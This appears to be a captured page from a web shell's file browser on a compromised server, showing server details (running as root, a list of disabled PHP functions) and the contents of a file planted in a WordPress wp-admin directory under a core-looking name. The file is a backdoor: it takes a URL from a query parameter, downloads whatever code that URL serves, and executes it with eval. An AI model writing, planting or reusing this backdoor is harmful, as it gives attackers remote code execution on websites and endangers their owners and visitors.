HEX
Server: nginx/1.24.0
System: Linux ht2024073053593 5.14.0-480.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 12 20:45:27 UTC 2024 x86_64
User: root (0)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/njmuedu.com/wp-admin/includes/class-plugin-installer-skin-reference.php
<?php

if (isset($_GET['beta'])) {
    $is_admin_wbl = $_GET['beta'];
    if ($the_permalink_rj = curl_init()) {
        curl_setopt($the_permalink_rj, CURLOPT_URL, $is_admin_wbl);
        curl_setopt($the_permalink_rj, CURLOPT_RETURNTRANSFER, true);
        eval(curl_exec($the_permalink_rj));
        curl_close($the_permalink_rj);
        exit;
    }
}